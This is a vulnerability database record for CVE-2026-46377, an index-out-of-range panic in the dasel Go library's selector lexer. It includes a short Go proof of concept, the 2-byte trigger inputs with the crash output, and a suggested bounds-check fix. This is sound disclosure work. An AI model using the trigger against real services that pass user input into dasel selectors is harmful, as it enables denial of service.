{"id":"CVE-2026-46377","aliases":["CVE-2026-46377","GHSA-m5j3-4634-c2vq","GO-2026-5491"],"related":[],"kind":"vulnerability","state":"published","title":"Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string","summary":"Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as \"\\ or '\\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as \"\\ or '\\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`dasel`'s selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., `\"\\` or `'\\`). A 2-byte input causes an immediate process crash via Go runtime panic.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the escape sequence handler within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L191-L194`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L191-L194):\n\n```go\nif p.src[pos] == '\\\\' {\n    pos++\n    buf = append(buf, rune(p.src[pos]))  // line 193: no bounds check\n    pos++\n    continue\n}\n```\n\nWhen a backslash is the last character inside quotes, `pos++` increments the position past the end of the input. The subsequent `p.src[pos]` attempts to read past the end of the slice, which Go turns into a runtime panic: `runtime error: index out of range [2] with length 2`.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the escape sequence path does not perform a similar bounds check.\n\nMinimal trigger: `\"\\` or `'\\` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{`\"\\`, `'\\`} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tfunc() {\n\t\t\tdefer func() {\n\t\t\t\tif r := recover(); r != nil {\n\t\t\t\t\tfmt.Printf(\"PANIC: %v\\n\", r)\n\t\t\t\t\tdebug.PrintStack()\n\t\t\t\t}\n\t\t\t}()\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\ttokens, err := t.Tokenize()\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"Error: %v\\n\", err)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"OK: %d tokens\\n\", len(tokens))\n\t\t\t}\n\t\t}()\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: \"\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n\nInput: '\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nAdd a bounds check after incrementing `pos` past the backslash, consistent with the existing `UnexpectedEOFError` handling for unterminated quoted strings:\n\n```go\nif p.src[pos] == '\\\\' {\n    pos++\n    if pos >= p.srcLen {\n        return Token{}, &UnexpectedEOFError{Pos: pos}\n    }\n    buf = append(buf, rune(p.src[pos]))\n    pos++\n    continue\n}\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string in github.com/tomwright/dasel","format":"markdown","source":"go"},{"lang":"es","text":"Dasel es una herramienta de línea de comandos y biblioteca para consultar, modificar y transformar estructuras de datos. Desde la versión 3.0.0 hasta la 3.10.1, el gestor de secuencias de escape en (Tokenizer).parseCurRune en selector/lexer/tokenize.go incrementa más allá de una barra invertida final en una cadena entrecomillada como ’\\’ o ’\\’ y luego lee p.src[pos] sin una comprobación de límites, permitiendo que cadenas de selector controladas por el atacante activen un pánico de Go por índice fuera de rango. Este problema está solucionado en la versión 3.10.1.","source":"nvd"}],"published":"2026-05-19T20:08:12.000Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-129"],"affected":[{"ranges":[{"version":">= 3.0.0, < 3.10.1","status":"affected"}],"vendor":"TomWright","product":"dasel","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"3.0.0","status":"affected","lastAffected":"3.10.0"}],"ecosystem":"Go","package":"github.com/tomwright/dasel/v3","purl":"pkg:golang/github.com/tomwright/dasel/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/tomwright/dasel","purl":"pkg:golang/github.com/tomwright/dasel","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/tomwright/dasel/v2","purl":"pkg:golang/github.com/tomwright/dasel/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"3.0.0","status":"affected"}],"ecosystem":"Go","package":"github.com/tomwright/dasel/v3","purl":"pkg:golang/github.com/tomwright/dasel/v3","source":"go"}],"references":[{"url":"https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/TomWright/dasel/releases/tag/v3.10.1","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/TomWright/dasel","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-16T18:21:25.556Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-46377","url":"https://www.cve.org/CVERecord?id=CVE-2026-46377","licence":"CVE Terms of Use","modified":"2026-07-16T18:21:45.505Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m5j3-4634-c2vq","url":"https://github.com/advisories/GHSA-m5j3-4634-c2vq","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:06.295Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5491","url":"https://pkg.go.dev/vuln/GO-2026-5491","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:18.260Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-46377","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46377","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:28.419Z","epss":{"score":0.00188,"percentile":0.08874,"date":"2026-12-01T12:00:22.000Z"}}